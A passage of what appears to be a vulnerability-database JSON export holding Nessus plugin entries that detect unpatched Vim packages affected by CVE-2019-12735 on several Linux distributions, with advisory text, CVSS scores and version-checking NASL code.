value:\n\"From Red Hat Security Advisory 2019:1774 :\n\nAn update for vim is now available for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having a security\nimpact of Important. A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nVim (Vi IMproved) is an updated and improved version of the vi editor.\n\nSecurity Fix(es) :\n\n* vim/neovim: ':source!' command allows arbitrary command execution\nvia modelines (CVE-2019-12735)\n\nFor more details about the security issue(s), including the impact, a\nCVSS score, acknowledgments, and other related information, refer to\nthe CVE page(s) listed in the References section.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2019-July/008903.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected vim packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:vim-X11\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:vim-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:vim-enhanced\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:vim-filesystem\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:vim-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:6\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/07/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/07/19\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = pregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^6([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 6\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL6\", reference:\"vim-X11-7.4.629-5.el6_10.2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"vim-common-7.4.629-5.el6_10.2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"vim-enhanced-7.4.629-5.el6_10.2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"vim-filesystem-7.4.629-5.el6_10.2\")) flag++;\nif (rpm_check(release:\"EL6\", reference:\"vim-minimal-7.4.629-5.el6_10.2\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-14T06:18:34", "description": "This update for vim fixes the following issue :\n\nSecurity issue fixed :\n\nCVE-2019-12735: Fixed a potential arbitrary code execution\nvulnerability in getchar.c (bsc#1137443).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 17, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-06-12T00:00:00", "title": "SUSE SLED15 / SLES15 Security Update : vim (SUSE-SU-2019:1457-1)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-06-12T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:vim-debugsource", "p-cpe:/a:novell:suse_linux:gvim", "cpe:/o:novell:suse_linux:15", "p-cpe:/a:novell:suse_linux:vim", "p-cpe:/a:novell:suse_linux:vim-debuginfo", "p-cpe:/a:novell:suse_linux:gvim-debuginfo"], "id": "SUSE_SU-2019-1457-1.NASL", "href": "https://www.tenable.com/plugins/nessus/125848", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2019:1457-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125848);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/13\");\n\n script_cve_id(\"CVE-2019-12735\");\n\n script_name(english:\"SUSE SLED15 / SLES15 Security Update : vim (SUSE-SU-2019:1457-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"This update for vim fixes the following issue :\n\nSecurity issue fixed :\n\nCVE-2019-12735: Fixed a potential arbitrary code execution\nvulnerability in getchar.c (bsc#1137443).\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.suse.com/show_bug.cgi?id=1137443\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.suse.com/security/cve/CVE-2019-12735/\"\n );\n # https://www.suse.com/support/update/announcement/2019/suse-su-20191457-1/\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?83b9c00e\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\n\"To install this SUSE Security Update use the SUSE recommended\ninstallation methods like YaST online_update or 'zypper patch'.\n\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Module for Desktop Applications 15-SP1:zypper in\n-t patch SUSE-SLE-Module-Desktop-Applications-15-SP1-2019-1457=1\n\nSUSE Linux Enterprise Module for Desktop Applications 15:zypper in -t\npatch SUSE-SLE-Module-Desktop-Applications-15-2019-1457=1\n\nSUSE Linux Enterprise Module for Basesystem 15-SP1:zypper in -t patch\nSUSE-SLE-Module-Basesystem-15-SP1-2019-1457=1\n\nSUSE Linux Enterprise Module for Basesystem 15:zypper in -t patch\nSUSE-SLE-Module-Basesystem-15-2019-1457=1\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:gvim\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:gvim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:vim\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:vim-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:vim-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:15\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/06/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/06/12\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLED15|SLES15)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLED15 / SLES15\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES15\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES15 SP0/1\", os_ver + \" SP\" + sp);\nif (os_ver == \"SLED15\" && (! preg(pattern:\"^(0|1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLED15 SP0/1\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"gvim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"gvim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"vim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"vim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"1\", reference:\"vim-debugsource-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"gvim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"gvim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"vim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"vim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLES15\", sp:\"0\", reference:\"vim-debugsource-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"gvim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"gvim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"vim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"vim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"1\", reference:\"vim-debugsource-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"gvim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"gvim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"vim-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"vim-debuginfo-8.0.1568-5.3.1\")) flag++;\nif (rpm_check(release:\"SLED15\", sp:\"0\", reference:\"vim-debugsource-8.0.1568-5.3.1\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-07T08:58:57", "description": "According to the version of the vim packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command\n execution.(CVE-2019-12735)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.", "edition": 10, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-07-25T00:00:00", "title": "EulerOS 2.0 SP8 : vim (EulerOS-SA-2019-1766)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-07-25T00:00:00", "cpe": ["p-cpe:/a:huawei:euleros:vim-filesystem", "p-cpe:/a:huawei:euleros:vim-common", "p-cpe:/a:huawei:euleros:vim-enhanced", "p-cpe:/a:huawei:euleros:vim-minimal", "cpe:/o:huawei:euleros:2.0", "p-cpe:/a:huawei:euleros:vim-X11"], "id": "EULEROS_SA-2019-1766.NASL", "href": "https://www.tenable.com/plugins/nessus/127003", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(127003);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\n \"CVE-2019-12735\"\n );\n\n script_name(english:\"EulerOS 2.0 SP8 : vim (EulerOS-SA-2019-1766)\");\n script_summary(english:\"Checks the rpm output for the updated package.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote EulerOS host is missing a security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"According to the version of the vim packages installed, the EulerOS\ninstallation on the remote host is affected by the following\nvulnerability :\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command\n execution.(CVE-2019-12735)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the EulerOS security advisory. Tenable\nhas attempted to automatically clean and format it as much as possible\nwithout introducing additional issues.\");\n # https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1766\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?93f48a4e\");\n script_set_attribute(attribute:\"solution\", value:\n\"Update the affected vim package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/07/26\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/07/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-X11\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-enhanced\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-filesystem\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:huawei:euleros:vim-minimal\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:huawei:euleros:2.0\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Huawei Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/EulerOS/release\", \"Host/EulerOS/rpm-list\", \"Host/EulerOS/sp\");\n script_exclude_keys(\"Host/EulerOS/uvp_version\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/EulerOS/release\");\nif (isnull(release) || release !~ \"^EulerOS\") audit(AUDIT_OS_NOT, \"EulerOS\");\nif (release !~ \"^EulerOS release 2\\.0(\\D|$)\") audit(AUDIT_OS_NOT, \"EulerOS 2.0\");\n\nsp = get_kb_item(\"Host/EulerOS/sp\");\nif (isnull(sp) || sp !~ \"^(8)$\") audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\");\n\nuvp = get_kb_item(\"Host/EulerOS/uvp_version\");\nif (!empty_or_null(uvp)) audit(AUDIT_OS_NOT, \"EulerOS 2.0 SP8\", \"EulerOS UVP \" + uvp);\n\nif (!get_kb_item(\"Host/EulerOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"aarch64\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"EulerOS\", cpu);\nif (\"aarch64\" >!< cpu) audit(AUDIT_ARCH_NOT, \"aarch64\", cpu);\n\nflag = 0;\n\npkgs = [\"vim-X11-8.1.450-1.h3.eulerosv2r8\",\n \"vim-common-8.1.450-1.h3.eulerosv2r8\",\n \"vim-enhanced-8.1.450-1.h3.eulerosv2r8\",\n \"vim-filesystem-8.1.450-1.h3.eulerosv2r8\",\n \"vim-minimal-8.1.450-1.h3.eulerosv2r8\"];\n\nforeach (pkg in pkgs)\n if (rpm_check(release:\"EulerOS-2.0\", sp:\"8\", reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T12:04:19", "description": "The remote NewStart CGSL host, running version CORE 5.04 / MAIN 5.04, has vim packages installed that are affected by a\nvulnerability:\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command execution.\n (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 17, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2019-08-12T00:00:00", "title": "NewStart CGSL CORE 5.04 / MAIN 5.04 : vim Vulnerability (NS-SA-2019-0161)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2019-08-12T00:00:00", "cpe": [], "id": "NEWSTART_CGSL_NS-SA-2019-0161_VIM.NASL", "href": "https://www.tenable.com/plugins/nessus/127443", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\n# The descriptive text and package checks in this plugin were\n# extracted from ZTE advisory NS-SA-2019-0161. The text\n# itself is copyright (C) ZTE, Inc.\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(127443);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2019-12735\");\n\n script_name(english:\"NewStart CGSL CORE 5.04 / MAIN 5.04 : vim Vulnerability (NS-SA-2019-0161)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote machine is affected by a vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote NewStart CGSL host, running version CORE 5.04 / MAIN 5.04, has vim packages installed that are affected by a\nvulnerability:\n\n - It was found that the `:source!` command was not\n restricted by the sandbox mode. If modeline was\n explicitly enabled, opening a specially crafted text\n file in vim could result in arbitrary command execution.\n (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"http://security.gd-linux.com/notice/NS-SA-2019-0161\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade the vulnerable CGSL vim packages. Note that updated packages may not be available yet. Please contact ZTE for\nmore information.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-12735\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/06/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/08/01\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/08/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"NewStart CGSL Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/ZTE-CGSL/release\", \"Host/ZTE-CGSL/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\n\nrelease = get_kb_item(\"Host/ZTE-CGSL/release\");\nif (isnull(release) || release !~ \"^CGSL (MAIN|CORE)\") audit(AUDIT_OS_NOT, \"NewStart Carrier Grade Server Linux\");\n\nif (release !~ \"CGSL CORE 5.04\" &&\n release !~ \"CGSL MAIN 5.04\")\n audit(AUDIT_OS_NOT, 'NewStart CGSL CORE 5.04 / NewStart CGSL MAIN 5.04');\n\nif (!get_kb_item(\"Host/ZTE-CGSL/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"NewStart Carrier Grade Server Linux\", cpu);\n\nflag = 0;\n\npkgs = {\n \"CGSL CORE 5.04\": [\n \"vim-X11-7.4.160-6.el7_6\",\n \"vim-common-7.4.160-6.el7_6\",\n \"vim-debuginfo-7.4.160-6.el7_6\",\n \"vim-enhanced-7.4.160-6.el7_6\",\n \"vim-filesystem-7.4.160-6.el7_6\",\n \"vim-minimal-7.4.160-6.el7_6\"\n ],\n \"CGSL MAIN 5.04\": [\n \"vim-X11-7.4.160-6.el7_6\",\n \"vim-common-7.4.160-6.el7_6\",\n \"vim-debuginfo-7.4.160-6.el7_6\",\n \"vim-enhanced-7.4.160-6.el7_6\",\n \"vim-filesystem-7.4.160-6.el7_6\",\n \"vim-minimal-7.4.160-6.el7_6\"\n ]\n};\npkg_list = pkgs[release];\n\nforeach (pkg in pkg_list)\n if (rpm_check(release:\"ZTE \" + release, reference:pkg)) flag++;\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"vim\");\n}\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-17T12:06:17", "description": "The remote NewStart CGSL host, running version MAIN 4.05, has vim packages installed that are affected by a\nvulnerability:\n\n - getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6\n allows remote attackers to execute arbitrary OS commands\n via the :source! command in a modeline, as demonstrated\n by execute in Vim, and assert_fails or nvim_input in\n Neovim. (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.", "edition": 4, "cvss3": {"score": 8.6, "vector": "AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"}, "published": "2020-03-08T00:00:00", "title": "NewStart CGSL MAIN 4.05 : vim Vulnerability (NS-SA-2020-0020)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "modified": "2020-03-08T00:00:00", "cpe": [], "id": "NEWSTART_CGSL_NS-SA-2020-0020_VIM.NASL", "href": "https://www.tenable.com/plugins/nessus/134315", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\n\n# The descriptive text and package checks in this plugin were\n# extracted from ZTE advisory NS-SA-2020-0020. The text\n# itself is copyright (C) ZTE, Inc.\n\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(134315);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/14\");\n\n script_cve_id(\"CVE-2019-12735\");\n script_bugtraq_id(108724);\n\n script_name(english:\"NewStart CGSL MAIN 4.05 : vim Vulnerability (NS-SA-2020-0020)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote machine is affected by a vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote NewStart CGSL host, running version MAIN 4.05, has vim packages installed that are affected by a\nvulnerability:\n\n - getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6\n allows remote attackers to execute arbitrary OS commands\n via the :source! command in a modeline, as demonstrated\n by execute in Vim, and assert_fails or nvim_input in\n Neovim. (CVE-2019-12735)\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n 